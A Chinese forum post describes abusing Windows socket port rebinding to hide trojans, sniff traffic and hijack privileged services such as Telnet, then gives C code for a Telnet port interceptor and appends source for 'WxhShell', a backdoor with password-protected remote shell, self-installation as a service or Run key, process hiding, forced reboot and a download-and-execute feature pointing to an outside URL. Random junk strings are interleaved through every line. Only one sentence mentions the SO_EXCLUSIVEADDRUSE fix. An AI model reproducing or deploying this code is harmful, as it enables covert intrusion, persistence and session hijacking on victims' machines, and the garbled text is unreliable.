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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &q``CCOF&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z&JW}''n|F  
:g+R}TR[i  
  saddr.sin_family = AF_INET; p,]Hs{R  
/_ o1b_1 U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z=n"cE[KtB  
)-2OraUm<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xI}]q%V  
n&FN?"I/]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r\ ` R$  
-[0)n{AVvU  
  这意味着什么?意味着可以进行如下的攻击: 3AX/A+2  
9oc.`-e\?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?Xh=rx_  
Ct$e`H!;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) PO<4rT+B  
&qMSJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tA}O'x  
D-E30b]e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _2}i8q:  
&wK%p/?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -]W AB9  
c<pr1g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [M Z'i/  
IUbYw~f3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 + :iNoDz  
:HMnU37m W  
  #include A5!f#  
  #include 8 yB  
  #include ;u!>( QQ  
  #include    Mm^o3vl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l)a]V]oQ  
  int main() 6yv*AmFh  
  { ,%v  
  WORD wVersionRequested; ?J%$;"q  
  DWORD ret; i/-Xpj]Zf  
  WSADATA wsaData; 0)yvyQ5  
  BOOL val; P]j{JL/g&  
  SOCKADDR_IN saddr; hgfCM  
  SOCKADDR_IN scaddr; 3xp%o5K  
  int err; 1ncY"S/VO  
  SOCKET s; ~O 65=8  
  SOCKET sc; 6$ 9n_AS  
  int caddsize; oizD:|  
  HANDLE mt; )/Ee#)z*  
  DWORD tid;   iW.8+?Xq&  
  wVersionRequested = MAKEWORD( 2, 2 ); e@NS=U` <  
  err = WSAStartup( wVersionRequested, &wsaData ); 6b6}HO  
  if ( err != 0 ) { ;W'y^jp]"  
  printf("error!WSAStartup failed!\n"); B~jl1g|  
  return -1; E`u=$~K  
  } ,DXNq`24  
  saddr.sin_family = AF_INET; &>*f J  
   wu/]M~XwI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2}b1PMpZG  
>m44U 9   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [@uL)*o_#  
  saddr.sin_port = htons(23); tm#T8iF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NVcL9"ht*@  
  { %fJ*Ql4M  
  printf("error!socket failed!\n"); lRZt))3  
  return -1; u"?cmg<.1  
  } $X WJxQRUv  
  val = TRUE; 4WzB=C(f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )+u|qT3%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #gUM%$  
  { bF|j%If%  
  printf("error!setsockopt failed!\n"); CP]BSyim'  
  return -1; Ex&f}/F  
  } f,)[f M4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &owBmpz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _udH(NC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !3kyPoq+  
m%qah>11  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^z "90-V^  
  { UyEyk$6SU  
  ret=GetLastError(); N6Vn/7I5%  
  printf("error!bind failed!\n"); 6AUXYbK,  
  return -1; & WYIfx{  
  } }f;Zx)!  
  listen(s,2); UqsVqi h(  
  while(1) z X2BJ  
  { (`<l" @:_*  
  caddsize = sizeof(scaddr); N$6Rg1  
  //接受连接请求 Me`jh8(K\6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &t5pJ`$(Cy  
  if(sc!=INVALID_SOCKET) z"Gk K T  
  { Z>wg o@z%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <6Y o%xt  
  if(mt==NULL) c03A_2%  
  { 4 "@BbVYR  
  printf("Thread Creat Failed!\n"); ,fT5I6l  
  break; S^c5  
  } iRPt0?$  
  } Q|"{<2"]U0  
  CloseHandle(mt); lJ62[2=V  
  } '2WYbcU  
  closesocket(s); D""d-oI[  
  WSACleanup(); U*(m'Ea  
  return 0; u f.Zg;Vc  
  }   @Vr?)_ 0  
  DWORD WINAPI ClientThread(LPVOID lpParam) Hh(_sewo  
  { /IxMRi=  
  SOCKET ss = (SOCKET)lpParam; 4["$}O5  
  SOCKET sc; di "rvw;R  
  unsigned char buf[4096]; z%hB=V!~91  
  SOCKADDR_IN saddr; ;v[F@O~*)  
  long num; dScit!T"  
  DWORD val; I o|NL6[  
  DWORD ret; B=(m;A#G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :eo2t>zF-<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Om\?<aul  
  saddr.sin_family = AF_INET; 0N;Pb(%7UU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ujXC#r&  
  saddr.sin_port = htons(23); WW:@%cQ@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #]_S{sO  
  { ullq}}  
  printf("error!socket failed!\n"); ";J1$a  
  return -1; 7;dV]N  
  } fM]zD/ g  
  val = 100; >dUnk)7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |z<E%`u%  
  { PxM]3Aoa  
  ret = GetLastError(); Gm}ecW  
  return -1; %F3M\)jU  
  } %A,4vLe~6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {-PD3 [f"  
  { }mxy6m ,  
  ret = GetLastError(); CKNC"Y*X  
  return -1; :5L9tNr{_  
  } NJ/6_e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xm6=l".%z  
  { Sl/[9- a)  
  printf("error!socket connect failed!\n"); d(jd{L4d  
  closesocket(sc); +#"CgZ]  
  closesocket(ss); 'ZgrN14  
  return -1; $A`D p{e"  
  } Xjt/ G):L  
  while(1) O'Lgb9  
  { Q0Y0Zt,h  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wcspqC"_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (%rO'X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qSlC@@.>  
  num = recv(ss,buf,4096,0); [>A%%  
  if(num>0) 6#MIt:#  
  send(sc,buf,num,0); !_QE|tVeR  
  else if(num==0) lM3UjR|@  
  break; n-be8p)-  
  num = recv(sc,buf,4096,0); *r6+Vz  
  if(num>0) GPy+\P`  
  send(ss,buf,num,0); nbj&3z,  
  else if(num==0) \S{ise/U  
  break; VC:.ya|Z  
  } u7=`u/  
  closesocket(ss); ~c%H3e>Jcq  
  closesocket(sc); -fI-d1@  
  return 0 ; +?5nkhH  
  } 6+b!|`?l+  
y Rr,+>W  
U;<07 aMj  
========================================================== 3WZ]9v{k  
r?{tu82#i  
下边附上一个代码,,WXhSHELL t7pe)i,)  
qgbp-A!2zF  
========================================================== lEL&tZ}  
2>80Qp!xO  
#include "stdafx.h" y m<3  
HFu#-}iNV  
#include <stdio.h> ^vS+xq|4"  
#include <string.h> c |  
#include <windows.h> y*0bHzJ  
#include <winsock2.h> .E-)R  
#include <winsvc.h> _w/w~;7  
#include <urlmon.h> ijOUv6=-  
nsQx\Tnhx  
#pragma comment (lib, "Ws2_32.lib") ~5<-&Dyp7  
#pragma comment (lib, "urlmon.lib") I,OEor6%R(  
S c_#BD.  
#define MAX_USER   100 // 最大客户端连接数 L=nyloz,0  
#define BUF_SOCK   200 // sock buffer LE%3.. !  
#define KEY_BUFF   255 // 输入 buffer 6}ct{Q  
QCIH1\`jW  
#define REBOOT     0   // 重启 %e.tAl"!$  
#define SHUTDOWN   1   // 关机 -.~Dhk  
x9)^0Hbo  
#define DEF_PORT   5000 // 监听端口 $-H#M] Gq  
P!q! +g  
#define REG_LEN     16   // 注册表键长度 |j($2.  
#define SVC_LEN     80   // NT服务名长度 }SIUsh'  
E96FwA5  
// 从dll定义API 4loG$l+a1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8XZS BR(Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PzbLbH8A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *^e06xc:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^"WrE(3  
0Ah'G  
// wxhshell配置信息 |dcRDOTe  
struct WSCFG { FJDx80J  
  int ws_port;         // 监听端口 o{5es  
  char ws_passstr[REG_LEN]; // 口令 th]1> .  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7t &KKKV  
  char ws_regname[REG_LEN]; // 注册表键名 99j^<)  
  char ws_svcname[REG_LEN]; // 服务名 T~@$WM(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sDA&U9;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .\K0+b;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MwMv[];I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^}vLZA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~jWG U-m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c@!%.# |y  
[+<lm 5t  
}; f mu `o-  
$Tci_(V=F  
// default Wxhshell configuration ?UCK  
struct WSCFG wscfg={DEF_PORT, T<1* R>el  
    "xuhuanlingzhe", {,61V;Bpm  
    1, y ,e# e`  
    "Wxhshell", is @8x!c  
    "Wxhshell", nA$zp  
            "WxhShell Service", 1 ;Bgtv$  
    "Wrsky Windows CmdShell Service", w9h`8pt  
    "Please Input Your Password: ", L6S!?t.{Yv  
  1, s|L}wtc  
  "http://www.wrsky.com/wxhshell.exe", xV@/z5Tq  
  "Wxhshell.exe" X/Umfci  
    }; l'TM^B)`c  
<d!_.f}v  
// 消息定义模块 qXC>D Gy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hZ6CiEJB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #;,dk(URo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :=9?XzCC  
char *msg_ws_ext="\n\rExit."; ^UTQcm  
char *msg_ws_end="\n\rQuit."; 7`AQn],  
char *msg_ws_boot="\n\rReboot..."; P?D;BAP2  
char *msg_ws_poff="\n\rShutdown..."; Hq=5/N  
char *msg_ws_down="\n\rSave to "; X.TsOoy  
8Ac5K!  
char *msg_ws_err="\n\rErr!"; 9,8}4Y=GVI  
char *msg_ws_ok="\n\rOK!"; n HiE$Y  
$}kT )+K  
char ExeFile[MAX_PATH]; Z#w@ /!"}T  
int nUser = 0; :Z rE/3_S  
HANDLE handles[MAX_USER]; h2M>4c  
int OsIsNt; zq\YZ:JC  
7&-i :2  
SERVICE_STATUS       serviceStatus; Ps=OL\i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B+W 4r9#  
7\ELr 5  
// 函数声明 DPIIE2X  
int Install(void); i`#5dIb   
int Uninstall(void); .KH3.v/c|  
int DownloadFile(char *sURL, SOCKET wsh); P")duv  
int Boot(int flag); c!#DD;<Q  
void HideProc(void); rfj>/?8!@  
int GetOsVer(void); i%RN0UO^  
int Wxhshell(SOCKET wsl); mFoE2?Y  
void TalkWithClient(void *cs); =^  
int CmdShell(SOCKET sock); OX|nYTp  
int StartFromService(void); L O)&|9xw  
int StartWxhshell(LPSTR lpCmdLine); x%<oeM3U  
?&v+-4%4PI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0V:7pSC{P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NJ" d`  
R Ptc \4  
// 数据结构和表定义 zg)-RCG  
SERVICE_TABLE_ENTRY DispatchTable[] = H#yBWvj*H  
{ v(PwE B]  
{wscfg.ws_svcname, NTServiceMain}, dG5p`N %  
{NULL, NULL} Buazm3q8H  
}; #Fp5>%*  
ibe#Y  
// 自我安装 }\+7*|  
int Install(void) q0* e1QL  
{ M A9Oi(L)K  
  char svExeFile[MAX_PATH]; !8'mIXZ$  
  HKEY key; B[2 qI7D$  
  strcpy(svExeFile,ExeFile); .v<Q-P\8/  
eRV4XB:  
// 如果是win9x系统,修改注册表设为自启动 cPQUR^!5  
if(!OsIsNt) { ^Yu<fFn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _G9 vsi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oUXi 4lsSc  
  RegCloseKey(key); ++b1VBP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +-8S,Rg@   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b=Rw=K.  
  RegCloseKey(key); !{hC99q6  
  return 0; |/Q7 o1i  
    } CVo2?ZQ  
  } zB,Vi-)vH  
} vE4ce  
else { 8cN[t.S  
frsqnvm;+  
// 如果是NT以上系统,安装为系统服务 mBb;:-5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Yfro^}f  
if (schSCManager!=0) _wvSLu<q  
{ w0`aW6t#  
  SC_HANDLE schService = CreateService _T[7N|'O  
  ( Rwu y!F  
  schSCManager, h?cf)L  
  wscfg.ws_svcname, fU?P__zU4  
  wscfg.ws_svcdisp, AC`4n|,zJ;  
  SERVICE_ALL_ACCESS, Atdr|2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $?voQ&  
  SERVICE_AUTO_START, 5G$sP,n  
  SERVICE_ERROR_NORMAL, QOb+6qy:3  
  svExeFile, M}jF-z  
  NULL, f8Z[prfP  
  NULL, a?635*9K  
  NULL, fV}:eEo|Y  
  NULL, hT c VMc  
  NULL .\/jy]Y  
  ); km%c0:  
  if (schService!=0) W Z!?O0.A  
  { k)'y;{IN  
  CloseServiceHandle(schService); d<x7* OW)  
  CloseServiceHandle(schSCManager); >a6{y   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ape \zZCV  
  strcat(svExeFile,wscfg.ws_svcname); =IbDGw(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `>.^/SGu>?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U^AywE]  
  RegCloseKey(key); ~Bw)rf,  
  return 0; xK7xAO  
    } 4FWL\;6  
  } H NFG:t9  
  CloseServiceHandle(schSCManager); 6bv~E.  
} % s|` 1`c  
} UG@9X/l}  
olHT* mr  
return 1; 2hD(zUSy  
} lfle7;  
Mp%.o}j   
// 自我卸载 yJyovfJz.  
int Uninstall(void) V'-}B6 3S>  
{ ?W6qwm,?L  
  HKEY key; FabDK :  
%MA o<,ha  
if(!OsIsNt) { 5X4 #T&.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >#9 f{  
  RegDeleteValue(key,wscfg.ws_regname); %A]?5J)Bi  
  RegCloseKey(key); E.ugr])  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $oPx2sb  
  RegDeleteValue(key,wscfg.ws_regname); //x^[fkNq)  
  RegCloseKey(key); f1Az|h  
  return 0; G)(vd0X1  
  } fu=GgD*  
} <%_7%  
} O)2==_f\  
else { ?2RDd|#  
()Tl\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *-.{->#Y  
if (schSCManager!=0) ||xiKg  
{ =sp5.-r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =hw&2c  
  if (schService!=0) _m?TEq B  
  { `f|Gw5R  
  if(DeleteService(schService)!=0) { [Dzd39aKr  
  CloseServiceHandle(schService); t\\oG H  
  CloseServiceHandle(schSCManager); [WfigqY`b*  
  return 0; -@I+IKz  
  } 2aDjt{7P  
  CloseServiceHandle(schService); `FJ2 ?  
  } u0o}rA  
  CloseServiceHandle(schSCManager); %z9lCTmy  
} $u ae8h  
} >e'Hz(~'/  
5.IX  
return 1; > TKl`O  
} vzXfJP  
t)p . $  
// 从指定url下载文件 \f!j9O9S  
int DownloadFile(char *sURL, SOCKET wsh) UPE9e   
{ k=^~\$e  
  HRESULT hr; x>ZnQ6x~m]  
char seps[]= "/"; 0=:]tSD\F  
char *token; =%i~HDiy  
char *file; uQ(C,f[6p  
char myURL[MAX_PATH]; # $N)  
char myFILE[MAX_PATH]; uV|%idC  
/QgU!:e  
strcpy(myURL,sURL); EF8~rKO3  
  token=strtok(myURL,seps); +o ;}*  
  while(token!=NULL) pHftz-RS!  
  { 7NFRCCXHQ  
    file=token; X2[d15!9  
  token=strtok(NULL,seps); 2HX#:y{\l  
  } ><HHO (74X  
)j_Y9`R  
GetCurrentDirectory(MAX_PATH,myFILE); [& d"Z2gK  
strcat(myFILE, "\\"); u/ Gk>F  
strcat(myFILE, file); /b;GC-"v  
  send(wsh,myFILE,strlen(myFILE),0); j#f7-nHyz8  
send(wsh,"...",3,0); @L-] %C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); crDm2oA~t  
  if(hr==S_OK) J#/L}h;qH  
return 0; ##\ <mFE  
else `[(.Q  
return 1; cns~)j~  
5McOSy  
} j,Vir"-)  
Fr|Ts>Kx  
// 系统电源模块 =>0 G  
int Boot(int flag) W,D$=Bg  
{ #}lq2!f6  
  HANDLE hToken; !vY5X2?tr,  
  TOKEN_PRIVILEGES tkp; `Lr I^9Z  
_!K@( dl  
  if(OsIsNt) { 32S5Ai@Cd"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &*\-4)Tf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'CfM'f3uu  
    tkp.PrivilegeCount = 1; `pJWZ:3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B/^1uPTZ71  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z /*X)mBuB  
if(flag==REBOOT) { LJh^-FQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y+ Qm.  
  return 0; 4k]DktY}.  
} V."qxKsz  
else { z0F'zN 3J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;,2;J3,pA  
  return 0; D8O&`!mf  
} aGx[?}=  
  } g.:b\JE`  
  else { kw$*o k  
if(flag==REBOOT) { -]-?>gkN5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r.vezsH  
  return 0; * ak"}s  
} @&F\M}  
else { T!ik"YZ@i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a{y"vVQOF  
  return 0; gwQk M4  
} ~]l T>|X  
} O Bp&64  
*S?vw'n  
return 1; abczW[\  
} RHj<t");  
}|-Yd"$  
// win9x进程隐藏模块 km=d'VvnI  
void HideProc(void) Eo@b)h  
{ CW . O"_  
79y'PFSms  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b'mp$lt!  
  if ( hKernel != NULL ) [CAV"u)0  
  { sI% =G3o=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?>}&,:U}   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N NTUl$  
    FreeLibrary(hKernel); 5n#@,V.O/  
  } a'prlXr\4  
(q+EP(Q  
return; `/+PZqdC  
} ?c0@A*:o  
|\# 6?y[o  
// 获取操作系统版本 -6yFE- X/  
int GetOsVer(void) ,Srj38p  
{ +=JJ=F)  
  OSVERSIONINFO winfo; W>2m %q U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AfqthI$*m  
  GetVersionEx(&winfo); H]a@"gO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rD*CLq K  
  return 1; ,f3Ck*M  
  else =(\xe| Q  
  return 0; ](tv`1A,Wd  
} ecqL;_{o  
1^R:[L4R`  
// 客户端句柄模块 OLh QS_D  
int Wxhshell(SOCKET wsl) lE 09Y  
{ fo5+3iu^  
  SOCKET wsh; 863PVce",}  
  struct sockaddr_in client; =zX A0%  
  DWORD myID; TD"w@jBA  
"i1r9TLc  
  while(nUser<MAX_USER) NkYU3[m$v  
{ >}|Vmy[/  
  int nSize=sizeof(client); ,K 1X/),  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'H|=]n0  
  if(wsh==INVALID_SOCKET) return 1; !3J YG  
?T\_"G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xZ.c@u6:  
if(handles[nUser]==0) t^KoqJ  
  closesocket(wsh); G&f~A;'7k  
else go[(N6hN  
  nUser++; X{-[ E^X  
  } Vv<Tjr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5:6]ZFW  
@, %IVKg\  
  return 0; D@ R>gqb  
} 7$/%c{o  
Im0#_ \  
// 关闭 socket *j/[5J0'M  
void CloseIt(SOCKET wsh) /GDGE }  
{  ET:B"  
closesocket(wsh); !ZC0n`  
nUser--; t w?\bB  
ExitThread(0); %yJ $R2%*y  
} 8Ug`2xS<_  
+i1\],7  
// 客户端请求句柄 _=d X01  
void TalkWithClient(void *cs) }+3IM1VTW{  
{ #5a'Z+  
l;'#!hC)  
  SOCKET wsh=(SOCKET)cs; p#6V|5~8  
  char pwd[SVC_LEN]; #'2CST  
  char cmd[KEY_BUFF]; o*}--d? S  
char chr[1]; ZA! yw7~  
int i,j; /N?vVp  
@ApX43U(  
  while (nUser < MAX_USER) { ),#hBB`ZA  
@2eV^eO9  
if(wscfg.ws_passstr) { {;[W'Lc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I nCo[ 8SI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LjOHlT'  
  //ZeroMemory(pwd,KEY_BUFF); di,?`  
      i=0; Xj+oV  
  while(i<SVC_LEN) { WUesTA>  
RLtIn!2OU  
  // 设置超时 @cT= t0*  
  fd_set FdRead; zbM*/:Y  
  struct timeval TimeOut; H.R7,'9  
  FD_ZERO(&FdRead); 2B<0|EGtzw  
  FD_SET(wsh,&FdRead); ' +*,|;?  
  TimeOut.tv_sec=8; (bBr O74lR  
  TimeOut.tv_usec=0; KWzJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z.v2 !u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ag#o&Y  
MV.$Ay  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }?vVJm'  
  pwd=chr[0]; 0*-nVC1  
  if(chr[0]==0xd || chr[0]==0xa) { v@KP~kp  
  pwd=0; 5Rc^5Nv  
  break; ;p U=>  
  } ~~D =Z#  
  i++; u>U4w68  
    } \XI9 +::%  
057$b!A-a  
  // 如果是非法用户,关闭 socket h~zG*B5F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |m5 E%E  
} Er]lObfQo  
{?zbrgQ<Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7=gv4arRwt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rt5eN:'qY  
wWU5]v  
while(1) { o"5[~$O  
oF9c>^s  
  ZeroMemory(cmd,KEY_BUFF);  #Lq{_Y  
_s> ZY0  
      // 自动支持客户端 telnet标准   %C^%Oq_k  
  j=0; /Wqx@#  
  while(j<KEY_BUFF) { jj&4Sv#>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FID4@--  
  cmd[j]=chr[0]; O{F)|<L(G  
  if(chr[0]==0xa || chr[0]==0xd) { QoVRZ$!p  
  cmd[j]=0; FYtf<C+  
  break; ED kxRfY2/  
  } z%pD3J?>  
  j++; 9^5D28y  
    } aTx*6;-PH  
3>I   
  // 下载文件 8iDg2_l`G  
  if(strstr(cmd,"http://")) { -< 0PBl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z;XiA<|  
  if(DownloadFile(cmd,wsh)) AvNU\$B4aG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |y*-)t  
  else *i>?YT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k5=VH5{S  
  } V;V,G+0Re  
  else { OSsxO(;g  
aYyUe>  
    switch(cmd[0]) { },=0]tvZG#  
  ra'h\m  
  // 帮助 m<cvx3e  
  case '?': { I )LO@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +[sZE X  
    break; @/ m|T]'8  
  } ctzaqsr  
  // 安装 x`#|8  
  case 'i': { Lk-%I?  
    if(Install()) clwJ+kku@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w|uO)/v  
    else rq.S0bzH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W"@FRWcd  
    break; MGmUgc  
    } E9yBa=#*c  
  // 卸载 3Q@HP;<  
  case 'r': { TBzOz:k  
    if(Uninstall()) }uTe(Rf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $YM6}D@  
    else +C(v4@=nd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v GT#BS%  
    break; 'xC83}!k  
    } :gNTQZR  
  // 显示 wxhshell 所在路径 {Va "o~io  
  case 'p': { $YyN-C  
    char svExeFile[MAX_PATH]; F9|\(St &  
    strcpy(svExeFile,"\n\r"); +[DL]e]@U  
      strcat(svExeFile,ExeFile); bS9<LQ*  
        send(wsh,svExeFile,strlen(svExeFile),0); ~ }<!ON;  
    break; ^.d97rSm  
    } nsCat($)  
  // 重启 ;BR`}~m  
  case 'b': { sPee" 9%,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }5)sS}C  
    if(Boot(REBOOT)) onuhNn_=>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7D;g\{>M  
    else { aFj)s?$4]K  
    closesocket(wsh); 73C  
    ExitThread(0); AV0C9a/td  
    } 1f"LAs`%  
    break; ZXf^HK  
    } $1CAfSgKw  
  // 关机 G(puC4 "&  
  case 'd': { =H F||p@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c==` r C  
